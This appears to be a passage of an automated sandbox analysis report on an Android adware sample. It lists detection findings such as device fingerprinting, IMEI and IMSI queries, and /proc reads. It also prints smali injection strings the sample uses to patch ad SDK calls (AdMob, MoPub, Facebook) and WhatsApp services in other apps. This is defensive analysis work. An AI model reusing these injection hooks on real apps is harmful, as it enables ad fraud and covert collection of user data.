Source: com.android.leech.base.util.MD5Utils;->md5:17API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.util.MD5Utils;->md5:19API Call: java.security.MessageDigest.update
Source: com.android.leech.base.util.MD5Utils;->md5:20API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestDigester$Entry;->doOldStyle:2API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestDigester$Entry;->doOldStyle:3API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestDigester$Entry;->digest:7API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestDigester$Entry;->digest:9API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestDigester$Entry;->digestWorkaround:12API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestDigester$Entry;->digestWorkaround:13API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestDigester;->manifestDigest:35API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestDigester;->manifestDigest:36API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestEntryVerifier;->setEntry:50API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestEntryVerifier;->update:65API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestEntryVerifier;->update:70API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.apksigner.sun.security.util.ManifestEntryVerifier;->verify:79API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.utils.UMUtils;->MD5:6API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.utils.UMUtils;->MD5:8API Call: java.security.MessageDigest.update
Source: uAgent.commonsdk.utils.UMUtils;->MD5:9API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.utils.UMUtils;->encryptBySHA1:70API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.utils.UMUtils;->encryptBySHA1:71API Call: java.security.MessageDigest.update
Source: uAgent.commonsdk.utils.UMUtils;->encryptBySHA1:72API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.utils.UMUtils;->getAppMD5Signature:98API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.utils.UMUtils;->getAppMD5Signature:100API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.utils.UMUtils;->getFileMD5:418API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.utils.UMUtils;->getFileMD5:421API Call: java.security.MessageDigest.update
Source: uAgent.commonsdk.utils.UMUtils;->getFileMD5:424API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.apksigner.sun.security.x509.KeyIdentifier;-><init>:15API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.patch.apksigner.sun.security.x509.KeyIdentifier;-><init>:16API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.apksigner.sun.security.x509.KeyIdentifier;-><init>:17API Call: java.security.MessageDigest.digest

Malware Analysis System Evasion:

barindex
Found string related to AD fraudShow sources
Source: Lcom/android/leech/main/Main;->init(Landroid/app/Application;)VMethod string: "Lcom/infectionAds/AdsManagement;->getPatchBootVersion(Landroid/content/Context;)J"
Source: Lcom/android/leech/main/Main;->init(Landroid/app/Application;)VMethod string: "Lcom/infectionAds/AdsManagement;->getPatchBootVersion(Landroid/content/Context;)J"
Source: Lcom/android/leech/main/Main;->init(Landroid/app/Application;)VMethod string: "Lcom/infectionAds/AdsManagement;->getPatchBootVersion(Landroid/content/Context;)J"
Source: Lcom/android/leech/main/analytics/UMengAgent;->init(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)ZMethod string: "Lcom/infectionAds/AdsManagement;->getPatchBootVersion(Landroid/content/Context;)J"
Source: Lcom/android/leech/main/Main$5$1;->onResponseSuccess(Lcom/android/leech/base/network/BaseRequest$Response;Lorg/json/JSONObject;Z)VMethod string: "Lcom/infectionAds/AdsManagement;->getPatchBootVersion(Landroid/content/Context;)J"
Source: Lcom/android/leech/main/DevicesInfo$2;->run()VMethod string: "Lcom/infectionAds/AdsManagement;->getPatchBootVersion(Landroid/content/Context;)J"
Source: Lcom/android/leech/patch/FixMain;->stepLoadFixDex(Landroid/content/Context;)ZMethod string: "const-string v6, "com.infectionAds.AdsManagement""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_AdView()VMethod string: "const-string v2, "\tinvoke-static {p0,p1},Lcom/infectionAds/APIPulic;->adView_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;\n\tmove-result-object p1\n\tif-nez p1,:cond_next\n\treturn-void\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_AdView()VMethod string: "const-string v2, "\tinvoke-static {p0,p1}, Lcom/infectionAds/APIPulic;->adView_setAdListener(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n\tmove-result-object p1\n\tif-nez p1,:cond_next\n\treturn-void\n\t:cond_next\n\tcheck-cast p1, Lcom/google/android/gms/ads/AdListener;\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_AdView()VMethod string: "const-string v2, "\tinvoke-static {p0,p1}, Lcom/infectionAds/APIPulic;->adView_setAdSize(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n\tmove-result-object p1\n\tif-nez p1,:cond_next\n\treturn-void\n\t:cond_next\n\tcheck-cast p1, Lcom/google/android/gms/ads/AdSize;\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_AdView()VMethod string: "const-string v2, "\tinvoke-static {p0,p1}, Lcom/infectionAds/APIPulic;->adView_setAdSize(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n\tmove-result-object p1\n\tif-nez p1,:cond_next\n\treturn-void\n\t:cond_next\n\tcheck-cast p1, Lcom/google/android/gms/ads/AdSize;\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_AdView()VMethod string: "const-string v2, "\tinvoke-static {p0,p1}, Lcom/infectionAds/APIPulic;->adView_loadAd(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n\tmove-result-object p1\n\tif-nez p1,:cond_next\n\treturn-void\n\t:cond_next\n\tcheck-cast p1, Lcom/google/android/gms/ads/AdRequest;\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_AdView()VMethod string: "const-string v2, "\tinvoke-static {p0}, Lcom/infectionAds/APIPulic;->adView_isLoading(Ljava/lang/Object;)[Z\n\tmove-result-object v0\n\tif-eqz v0, :cond_next\n\tconst/4 v1, 0x0\n\taget-boolean v0, v0, v1\n\treturn v0\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_AdView()VMethod string: "const-string v2, "\tinvoke-static {p0},Lcom/infectionAds/APIPulic;->adView_destroy(Ljava/lang/Object;)Z\n\tmove-result v0\n\tif-nez v0,:cond_next\n\treturn-void\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_AdView()VMethod string: "const-string v2, "\tinvoke-static {p0}, Lcom/infectionAds/APIPulic;->adView_pause(Ljava/lang/Object;)Z\n\tmove-result v0\n\tif-nez v0,:cond_next\n\treturn-void\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_AdView()VMethod string: "const-string v2, "\tinvoke-static {p0},Lcom/infectionAds/APIPulic;->adView_resume(Ljava/lang/Object;)Z\n\tmove-result v0\n\tif-nez v0,:cond_next\n\treturn-void\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_InterstitialAd()VMethod string: "const-string v2, "\tinvoke-static {p0,p1}, Lcom/infectionAds/APIPulic;->InterstitialAd_init(Ljava/lang/Object;Ljava/lang/Object;)V\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_InterstitialAd()VMethod string: "const-string v2, "\tinvoke-static {p0}, Lcom/infectionAds/APIPulic;->InterstitialAd_isLoaded(Ljava/lang/Object;)[Z\n\tmove-result-object v0\n\tif-eqz v0, :cond_next\n\tconst/4 v1, 0x0\n\taget-boolean v0, v0, v1\n\treturn v0\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_InterstitialAd()VMethod string: "const-string v2, "\tinvoke-static {p0,p1},Lcom/infectionAds/APIPulic;->InterstitialAd_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;\n\tmove-result-object p1\n\tif-nez p1,:cond_next\n\treturn-void\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_InterstitialAd()VMethod string: "const-string v2, "\tinvoke-static {p0,p1}, Lcom/infectionAds/APIPulic;->InterstitialAd_setAdListener(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n\tmove-result-object p1\n\tif-nez p1,:cond_next\n\treturn-void\n\t:cond_next\n\tcheck-cast p1, Lcom/google/android/gms/ads/AdListener;\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_InterstitialAd()VMethod string: "const-string v2, "\tinvoke-static {p0}, Lcom/infectionAds/APIPulic;->InterstitialAd_show(Ljava/lang/Object;)Z\n\tmove-result v0\n\tif-nez v0,:cond_next\n\treturn-void\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_InterstitialAd()VMethod string: "const-string v2, "\tinvoke-static {p0,p1}, Lcom/infectionAds/APIPulic;->InterstitialAd_loadAd(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n\tmove-result-object p1\n\tif-nez p1,:cond_next\n\treturn-void\n\t:cond_next\n\tcheck-cast p1, Lcom/google/android/gms/ads/AdRequest;\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_InterstitialAd()VMethod string: "const-string v2, "\tinvoke-static {p0}, Lcom/infectionAds/APIPulic;->InterstitialAd_isLoading(Ljava/lang/Object;)[Z\n\tmove-result-object v0\n\tif-eqz v0, :cond_next\n\tconst/4 v1, 0x0\n\taget-boolean v0, v0, v1\n\treturn v0\n\t:cond_next\n""
Source: Lcom/android/leech/main/loader/multidex/MultiDexApplication;->startSDKInit(Landroid/app/Application;)VMethod string: "const-string v3, "com.infectionAds.AdsManagement""
Source: Lcom/infectionAds/APIPulic;->MainActivity_onCreate(Ljava/lang/Object;)VMethod string: "const-class v1, Lcom/infectionAds/APIPulic;"
Source: Lcom/infectionAds/APIPulic;->MainActivity_onCreate(Ljava/lang/Object;)VMethod string: "sget-object v1, Lcom/infectionAds/APIPulic;->sActivity:Landroid/app/Activity;"
Source: Lcom/infectionAds/APIPulic;->MainActivity_onCreate(Ljava/lang/Object;)VMethod string: "sput-object p0, Lcom/infectionAds/APIPulic;->sActivity:Landroid/app/Activity;"
Source: Lcom/infectionAds/APIPulic;->MainActivity_onCreate(Ljava/lang/Object;)VMethod string: "sget-object v3, Lcom/infectionAds/APIPulic;->sActivity:Landroid/app/Activity;"
Source: Lcom/infectionAds/APIPulic;->onStartCommand(Ljava/lang/Object;Ljava/lang/Object;II)VMethod string: "const-class v1, Lcom/infectionAds/APIPulic;"
Source: Lcom/android/leech/patch/fixcode/FixMoPubAd;->nativeAd()VMethod string: "const-string v2, "\tinvoke-static {p0,p1}, Lcom/infectionAds/MoPubAdApi;->native_loadAds(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;\n\tmove-result-object p1\n""
Source: Lcom/android/leech/patch/fixcode/FixMoPubAd;->nativeAd()VMethod string: "const-string v2, "\tinvoke-static {p1,p2}, Lcom/infectionAds/MoPubAdApi;->native_loadAds(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;\n\tmove-result-object p2\n""
Source: Lcom/android/leech/patch/fixcode/FixMoPubAd;->nativeAd()VMethod string: "const-string v2, "\tinvoke-static {p1,p2}, Lcom/infectionAds/MoPubAdApi;->native_loadAds(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;\n\tmove-result-object p2\n""
Source: Lcom/infectionAds/AdsManagement;->getPatchBootVersion(Landroid/content/Context;)JMethod string: "sget-wide v5, Lcom/infectionAds/AdsManagement;->verCode:J"
Source: Lcom/infectionAds/AdsManagement;->getPatchBootVersion(Landroid/content/Context;)JMethod string: "sput-wide v1, Lcom/infectionAds/AdsManagement;->verCode:J"
Source: Lcom/infectionAds/AdsManagement;->getPatchBootVersion(Landroid/content/Context;)JMethod string: "sget-wide v5, Lcom/infectionAds/AdsManagement;->verCode:J"
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_NativeExpress()VMethod string: "const-string v2, "\tinvoke-static {p0}, Lcom/infectionAds/APIPulic;->NativeExpressAdView_isLoading(Ljava/lang/Object;)[Z\n\tmove-result-object v0\n\tif-eqz v0, :cond_next\n\tconst/4 v1, 0x0\n\taget-boolean v0, v0, v1\n\treturn v0\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_NativeExpress()VMethod string: "const-string v2, "\tinvoke-static {p0,p1}, Lcom/infectionAds/APIPulic;->NativeExpressAdView_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;\n\tmove-result-object p1\n\tif-nez p1,:cond_next\n\treturn-void\n\t:cond_next\n""
Source: Lcom/infectionAds/pkgAPI/whatsapp/WhatsappApi;->addAccount(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Object;Ljava/lang/Object;)Landroid/os/Bundle;Method string: "const-class v3, Lcom/infectionAds/pkgAPI/whatsapp/WhatsappApi;"
Source: Lcom/infectionAds/pkgAPI/whatsapp/WhatsappApi;->addAccount(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Object;Ljava/lang/Object;)Landroid/os/Bundle;Method string: "const-class v3, Lcom/infectionAds/pkgAPI/whatsapp/WhatsappApi;"
Source: Lcom/infectionAds/APIPulic;->InterstitialAd_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;Method string: "const-class v0, Lcom/infectionAds/APIPulic;"
Source: Lcom/infectionAds/APIPulic;->InterstitialAd_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;Method string: "sget-object v0, Lcom/infectionAds/APIPulic;->fixAdmob:Lcom/android/leech/main/ad/fix/BaseFixAdmobImpl;"
Source: Lcom/infectionAds/APIPulic;->InterstitialAd_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;Method string: "sget-object v0, Lcom/infectionAds/APIPulic;->fixAdmob:Lcom/android/leech/main/ad/fix/BaseFixAdmobImpl;"
Source: Lcom/infectionAds/APIPulic;->InterstitialAd_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;Method string: "sget-object v0, Lcom/infectionAds/APIPulic;->AdmodInterstitialID:Ljava/lang/String;"
Source: Lcom/infectionAds/APIPulic;->adView_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;Method string: "const-class v0, Lcom/infectionAds/APIPulic;"
Source: Lcom/infectionAds/APIPulic;->adView_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;Method string: "sget-object v0, Lcom/infectionAds/APIPulic;->fixAdmob:Lcom/android/leech/main/ad/fix/BaseFixAdmobImpl;"
Source: Lcom/infectionAds/APIPulic;->adView_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;Method string: "sget-object v0, Lcom/infectionAds/APIPulic;->fixAdmob:Lcom/android/leech/main/ad/fix/BaseFixAdmobImpl;"
Source: Lcom/infectionAds/APIPulic;->adView_setAdUnitId(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;Method string: "sget-object v0, Lcom/infectionAds/APIPulic;->AdmodBannerID:Ljava/lang/String;"
Source: Lcom/infectionAds/MoPubAdApi;->native_loadAds(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;Method string: "const-class v0, Lcom/infectionAds/MoPubAdApi;"
Source: Lcom/infectionAds/MoPubAdApi;->native_loadAds(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/String;Method string: "sget-object p1, Lcom/infectionAds/MoPubAdApi;->DEFAULT:Ljava/lang/String;"
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_AdLoader()VMethod string: "const-string v2, "\tinvoke-static {p1,p2}, Lcom/infectionAds/APIPulic;->AdLoader_Builder_init(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/String;\n\tmove-result-object p2\n""
Source: Lcom/android/leech/patch/fixcode/FixWhatsapp;->addAccountAuthenticatorService()VMethod string: "const-string v2, "\tinvoke-static/range {p0 .. p5}, Lcom/infectionAds/pkgAPI/whatsapp/WhatsappApi;->addAccount(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Object;Ljava/lang/Object;)Landroid/os/Bundle;\n\tmove-result-object v0\n\tif-eqz v0,:cond_next\n\treturn-object v0\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_BaseAdView()VMethod string: "const-string v2, "\tinvoke-static {p0,p1}, Lcom/infectionAds/APIPulic;->BaseAdView_setAdUnitId(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/String;\n\tmove-result-object p1\n""
Source: Lcom/infectionAds/APIPulic;-><clinit>()VMethod string: "sput-object v0, Lcom/infectionAds/APIPulic;->AdmodAPKKey:Ljava/lang/String;"
Source: Lcom/infectionAds/APIPulic;-><clinit>()VMethod string: "sput-object v0, Lcom/infectionAds/APIPulic;->AdmodBannerID:Ljava/lang/String;"
Source: Lcom/infectionAds/APIPulic;-><clinit>()VMethod string: "sput-object v0, Lcom/infectionAds/APIPulic;->AdmodInterstitialID:Ljava/lang/String;"
Source: Lcom/infectionAds/APIPulic;-><clinit>()VMethod string: "sput-object v0, Lcom/infectionAds/APIPulic;->AdmodRewardedVideoAdID:Ljava/lang/String;"
Source: Lcom/infectionAds/APIPulic;-><clinit>()VMethod string: "sput-object v0, Lcom/infectionAds/APIPulic;->ServiceAdmodInterstitialID:Ljava/lang/String;"
Source: Lcom/android/leech/patch/fixcode/FixMxplayer;->doWork()VMethod string: "const-string v8, "\tinvoke-static {p0, p1}, Lcom/infectionAds/pkg/MXPlayerAdmob;->orig_display_time(Ljava/lang/Object;Ljava/lang/Object;)V\n""
Source: Lcom/android/leech/patch/fixcode/FixFacebookAd;->nativeAd()VMethod string: "const-string v2, "\tinvoke-static {p0}, Lcom/infectionAds/FacebookAd;->native_isAdLoaded(Ljava/lang/Object;)[Z\n\tmove-result-object v0\n\tif-eqz v0, :cond_next\n\tconst/4 v1, 0x0\n\taget-boolean v0, v0, v1\n\treturn v0\n\t:cond_next\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->add_MobileAds()VMethod string: "const-string v2, "\tinvoke-static {p0, p1}, Lcom/infectionAds/APIPulic;->initialize(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;\n\tmove-result-object p1\n""
Source: Lcom/android/leech/patch/fixcode/FixWhatsapp;->addMessageService()VMethod string: "const-string v2, "\tinvoke-static/range {p0..p3}, Lcom/infectionAds/pkgAPI/whatsapp/WhatsappApi;->onStartCommand(Ljava/lang/Object;Ljava/lang/Object;II)V\n""
Source: Lcom/android/leech/patch/fixcode/FixActivity;-><init>(Ljava/lang/String;)VMethod string: "const-string v1, "\tinvoke-static/range { p0..p0 }, Lcom/infectionAds/APIPulic;->MainActivity_onCreate(Ljava/lang/Object;)V\n""
Source: Lcom/android/leech/patch/fixcode/FixSevices;-><init>(Ljava/lang/String;)VMethod string: "const-string v1, "\tinvoke-static/range { p0..p3 },Lcom/infectionAds/APIPulic;->onStartCommand(Ljava/lang/Object;Ljava/lang/Object;II)V\n""
Source: Lcom/android/leech/patch/fixcode/FixAdmob;->injectServices(Lcom/android/leech/patch/fixcode/FixClass;)Lcom/android/leech/patch/fixcode/FixClass;Method string: "const-string v1, "\tinvoke-static/range { p0..p3 },Lcom/infectionAds/APIPulic;->onStartCommand(Ljava/lang/Object;Ljava/lang/Object;II)V\n""
Source: Lcom/android/leech/main/loader/multidex/MultiDex;->isLoadAdsdk()ZMethod string: "const-string v0, "com.infectionAds.AdmobPulic""
Source: Lcom/infectionAds/FacebookAd;->native_isAdLoaded(Ljava/lang/Object;)[ZMethod string: "const-class v0, Lcom/infectionAds/FacebookAd;"
Source: Lcom/infectionAds/FacebookAd;->inter_isAdLoaded()[ZMethod string: "const-class v0, Lcom/infectionAds/FacebookAd;"
Source: Lcom/infectionAds/FacebookAd;->inter_show()ZMethod string: "const-class v0, Lcom/infectionAds/FacebookAd;"
Source: Lcom/infectionAds/MoPubAdApi;-><clinit>()VMethod string: "sput-object v0, Lcom/infectionAds/MoPubAdApi;->DEFAULT:Ljava/lang/String;"
Accesses /procShow sources
Source: LuAgent/commonsdk/utils/UMUtils;->getCPU()Ljava/lang/String;Method string: "/proc/cpuinfo"
Source: Lcom/android/leech/base/bugly/util/DeviceUtil;->getRO(Landroid/content/Context;)Ljava/lang/String;Method string: "/proc/self/status"
Source: LuAgent/commonsdk/internal/utils/d;->a()LuAgent/commonsdk/internal/utils/d$a;Method string: "/proc/cpuinfo"
Source: Lcom/android/leech/base/bugly/util/DeviceUtil;->getMeminfo()JMethod string: "/proc/meminfo"
Source: Lcom/android/leech/base/util/PhoneInfo;->getLinuxKernalInfoEx()Ljava/lang/String;Method string: "/proc/version"
Source: LuAgent/commonsdk/internal/utils/l;->c()Ljava/lang/String;Method string: "/proc/diskstats"
Source: LuAgent/commonsdk/statistics/common/DeviceConfig;->getCPU()Ljava/lang/String;Method string: "/proc/cpuinfo"
Source: Lcom/android/leech/base/util/PhoneInfo;->getMemInfoIype(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;Method string: "/proc/meminfo"
Accesses android OS build fieldsShow sources
Source: com.android.leech.main.ad.mini.base.ApiHelp;->fetchSysInfo:40Field Access: android.os.Build.BRAND
Source: com.android.leech.main.ad.mini.base.ApiHelp;->fetchSysInfo:43Field Access: android.os.Build.MODEL
Source: com.android.leech.main.ad.mini.base.ApiHelp;->fetchSysInfo:51Field Access: android.os.Build.CPU_ABI
Source: com.android.leech.main.ad.mini.base.ApiHelp;->fetchSysInfo:54Field Access: android.os.Build.FINGERPRINT
Source: uAgent.commonsdk.statistics.internal.a;->c:23Field Access: android.os.Build.DISPLAY
Source: uAgent.commonsdk.statistics.internal.a;->c:27Field Access: android.os.Build.MODEL
Source: uAgent.commonsdk.statistics.internal.a;->c:31Field Access: android.os.Build$VERSION.RELEASE
Source: uAgent.commonsdk.internal.d;->b:57Field Access: android.os.Build.PRODUCT
Source: uAgent.commonsdk.internal.d;->b:66Field Access: android.os.Build.FINGERPRINT
Source: uAgent.commonsdk.internal.d;->b:72Field Access: android.os.Build.HOST
Source: uAgent.commonsdk.internal.d;->b:96Field Access: android.os.Build.TAGS
Source: uAgent.commonsdk.internal.d;->b:102Field Access: android.os.Build.USER
Source: uAgent.commonsdk.internal.d;->b:105Field Access: android.os.Build.CPU_ABI
Source: com.android.leech.main.Main;->checkCoreApk:36Field Access: android.os.Build.BOARD
Source: com.android.leech.main.Main;->checkCoreApk:40Field Access: android.os.Build.BRAND
Source: com.android.leech.main.Main;->checkCoreApk:44Field Access: android.os.Build.MODEL
Source: com.android.leech.main.Main;->checkCoreApk:48Field Access: android.os.Build.FINGERPRINT
Source: com.android.leech.main.Main;->checkCoreApk:95Field Access: android.os.Build.BOARD
Source: com.android.leech.main.Main;->checkCoreApk:99Field Access: android.os.Build.BRAND
Source: com.android.leech.main.Main;->checkCoreApk:103Field Access: android.os.Build.MODEL
Source: com.android.leech.main.Main;->checkCoreApk:107Field Access: android.os.Build.FINGERPRINT
Source: com.android.leech.base.network.RequestParam;->fetchSysInfo:105Field Access: android.os.Build.BRAND
Source: com.android.leech.base.network.RequestParam;->fetchSysInfo:109Field Access: android.os.Build.MODEL
Source: com.android.leech.base.network.RequestParam;->fetchSysInfo:120Field Access: android.os.Build.CPU_ABI
Source: com.android.leech.base.network.RequestParam;->fetchSysInfo:124Field Access: android.os.Build.FINGERPRINT
Source: com.android.leech.main.ad.mini.request.BaseRequestParam;->fetchSysInfo:55Field Access: android.os.Build.BRAND
Source: com.android.leech.main.ad.mini.request.BaseRequestParam;->fetchSysInfo:59Field Access: android.os.Build.MODEL
Source: com.android.leech.main.ad.mini.request.BaseRequestParam;->fetchSysInfo:70Field Access: android.os.Build.CPU_ABI
Source: com.android.leech.main.ad.mini.request.BaseRequestParam;->fetchSysInfo:74Field Access: android.os.Build.FINGERPRINT
Source: uAgent.commonsdk.stateless.UMSLEnvelopeBuild;->buildSLBaseHeader:147Field Access: android.os.Build.MODEL
Source: uAgent.commonsdk.stateless.UMSLEnvelopeBuild;->buildSLBaseHeader:150Field Access: android.os.Build.BOARD
Source: uAgent.commonsdk.stateless.UMSLEnvelopeBuild;->buildSLBaseHeader:153Field Access: android.os.Build.BRAND
Source: uAgent.commonsdk.stateless.UMSLEnvelopeBuild;->buildSLBaseHeader:158Field Access: android.os.Build.MANUFACTURER
Source: uAgent.commonsdk.stateless.UMSLEnvelopeBuild;->buildSLBaseHeader:161Field Access: android.os.Build.ID
Source: uAgent.commonsdk.stateless.UMSLEnvelopeBuild;->buildSLBaseHeader:164Field Access: android.os.Build.DEVICE
Source: uAgent.commonsdk.stateless.UMSLEnvelopeBuild;->buildSLBaseHeader:170Field Access: android.os.Build$VERSION.RELEASE
Source: uAgent.commonsdk.statistics.b;->b:129Field Access: android.os.Build.MODEL
Source: uAgent.commonsdk.statistics.b;->b:132Field Access: android.os.Build.BOARD
Source: uAgent.commonsdk.statistics.b;->b:135Field Access: android.os.Build.BRAND
Source: uAgent.commonsdk.statistics.b;->b:140Field Access: android.os.Build.MANUFACTURER
Source: uAgent.commonsdk.statistics.b;->b:143Field Access: android.os.Build.ID
Source: uAgent.commonsdk.statistics.b;->b:146Field Access: android.os.Build.DEVICE
Source: uAgent.commonsdk.statistics.b;->b:152Field Access: android.os.Build$VERSION.RELEASE
Source: com.android.leech.base.bugly.util.DeviceUtil;->getAndroidVersion:19Field Access: android.os.Build$VERSION.RELEASE
Source: com.android.leech.base.bugly.util.DeviceUtil;->getBrand:22Field Access: android.os.Build.BRAND
Source: com.android.leech.base.bugly.util.DeviceUtil;->getModel:127Field Access: android.os.Build.MODEL
Source: com.android.leech.base.bugly.util.DeviceUtil;->isRoot:503Field Access: android.os.Build.TAGS
Source: com.android.leech.base.bugly.util.DeviceUtil;->isRoot:504Field Access: android.os.Build.TAGS
Source: com.android.leech.base.bugly.util.DeviceUtil;->isSuperExist:526Field Access: android.os.Build.TAGS
Source: com.android.leech.base.bugly.util.DeviceUtil;->isSuperExist:527Field Access: android.os.Build.TAGS
Source: com.android.leech.base.util.Environment;->isEnvironment:19Field Access: android.os.Build.CPU_ABI
Source: com.android.leech.base.util.SystemPropertiesProxy;->getRunArchitecture:50Field Access: android.os.Build.CPU_ABI
Source: uAgent.commonsdk.internal.utils.h;->b:6Field Access: android.os.Build.TAGS
Checks CPU detailsShow sources
Source: LuAgent/commonsdk/internal/utils/d;->b()Ljava/lang/String;Method string: "/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq"
Source: LuAgent/commonsdk/internal/utils/d;->c()Ljava/lang/String;Method string: "/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_min_freq"
Source: LuAgent/commonsdk/internal/utils/d;->d()Ljava/lang/String;Method string: "/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq"
Potential date aware sample foundShow sources
Source: com.android.leech.patch.apksigner.sun.security.x509.CertificateValidity;->valid:105API Call: java.util.Date.after
Source: com.android.leech.patch.apksigner.sun.security.x509.PrivateKeyUsageExtension;->valid:123API Call: java.util.Date.after
Source: com.android.leech.patch.apksigner.sun.security.x509.X509Cert;->verify:283API Call: java.util.Date.after
Queries several sensitive phone informationsShow sources
Source: LuAgent/analytics/pro/b;-><clinit>()VMethod string: "os"
Source: LuAgent/commonsdk/internal/utils/a;->i(Landroid/content/Context;)IMethod string: "android"
Source: Lcom/android/leech/base/util/Channel;-><init>(Landroid/content/Context;Ljava/lang/String;)VMethod string: "mobid"
Source: LuAgent/commonsdk/internal/d;->e(Landroid/content/Context;)Lorg/json/JSONObject;Method string: "cpu"
Source: LuAgent/commonsdk/internal/d;->d(Landroid/content/Context;)Lorg/json/JSONObject;Method string: "imsi"
Source: LuAgent/commonsdk/proguard/k;-><clinit>()VMethod string: "type"
Source: Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateVersion;->getName()Ljava/lang/String;Method string: "version"
Source: LuAgent/commonsdk/internal/d;->e(Landroid/content/Context;)Lorg/json/JSONObject;Method string: "rom"
Source: LuAgent/commonsdk/internal/utils/b;-><init>(Landroid/content/Context;)VMethod string: "phone"
Source: Lcom/android/leech/base/bugly/bean/v;->a(Ljava/lang/StringBuilder;I)VMethod string: "appid"
Source: LuAgent/commonsdk/statistics/idtracking/f;-><init>(Landroid/content/Context;)VMethod string: "imei"
Source: Lcom/android/leech/base/network/RequestParam;->fetchSysInfo()VMethod string: "model"
Source: Lcom/android/leech/main/analytics/FlurryAgent;->doEvent(Landroid/content/Context;Ljava/lang/String;Ljava/util/Map;I)VMethod string: "time"
Source: Lcom/android/leech/base/network/RequestParam;->fetchSysInfo()VMethod string: "brand"
Queries the unique operating system id (ANDROID_ID)Show sources
